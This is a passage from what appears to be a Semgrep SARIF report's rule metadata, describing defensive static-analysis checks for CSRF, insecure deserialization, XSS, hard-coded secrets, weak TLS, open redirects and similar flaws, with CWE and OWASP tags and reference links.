class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","id":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","name":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django","id":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","name":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-marshal-django.tainted-marshal-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format)\n - [https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render)\n - [https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format","id":"python.django.security.injection.raw-html-format.raw-html-format","name":"python.django.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","id":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","name":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"CSRF protection is disabled for this configuration. This is a security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","id":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","name":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"help":{"markdown":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt","id":"python.django.security.audit.csrf-exempt.no-csrf-exempt","name":"python.django.security.audit.csrf-exempt.no-csrf-exempt","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.csrf-exempt.no-csrf-exempt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","id":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","name":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"help":{"markdown":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html)\n","text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","id":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","name":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"help":{"markdown":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html](https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html)\n","text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect","id":"go.lang.security.injection.open-redirect.open-redirect","name":"go.lang.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","id":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","name":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.global-autoescape-off.global-autoescape-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"help":{"markdown":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http)\n - [https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/](https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/)\n - [https://bento.dev/checks/requests/no-auth-over-http/](https://bento.dev/checks/requests/no-auth-over-http/)\n","text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http","id":"python.requests.security.no-auth-over-http.no-auth-over-http","name":"python.requests.security.no-auth-over-http.no-auth-over-http","properties":{"precision":"very-high","tags":["CWE-523: Unprotected Transport of Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.no-auth-over-http.no-auth-over-http"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"help":{"markdown":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1)\n","text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure","id":"csharp.lang.audit.cookies.missing-secure.missing-secure","name":"csharp.lang.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Telnet does not encrypt communications. Use SSH instead."},"help":{"markdown":"Telnet does not encrypt communications. Use SSH instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib)\n - [https://docs.python.org/3/library/telnetlib.html](https://docs.python.org/3/library/telnetlib.html)\n","text":"Telnet does not encrypt communications. Use SSH instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib","id":"python.lang.security.audit.telnetlib.telnetlib","name":"python.lang.security.audit.telnetlib.telnetlib","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.telnetlib.telnetlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"help":{"markdown":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version)\n - [https://www.ietf.org/rfc/rfc5246.txt](https://www.ietf.org/rfc/rfc5246.txt)\n","text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","id":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","name":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"help":{"markdown":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final)\n - [https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding](https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final","id":"javascript.node-crypto.security.aead-no-final.aead-no-final","name":"javascript.node-crypto.security.aead-no-final.aead-no-final","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.aead-no-final.aead-no-final"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","id":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","name":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible ZeroDivisionError."},"help":{"markdown":"Detected a possible ZeroDivisionError.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb)\n","text":"Detected a possible ZeroDivisionError."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero","id":"ruby.lang.security.divide-by-zero.divide-by-zero","name":"ruby.lang.security.divide-by-zero.divide-by-zero","properties":{"precision":"very-high","tags":["CWE-369: Divide By Zero","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.divide-by-zero.divide-by-zero"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Evaluating non-constant commands. This can lead to command 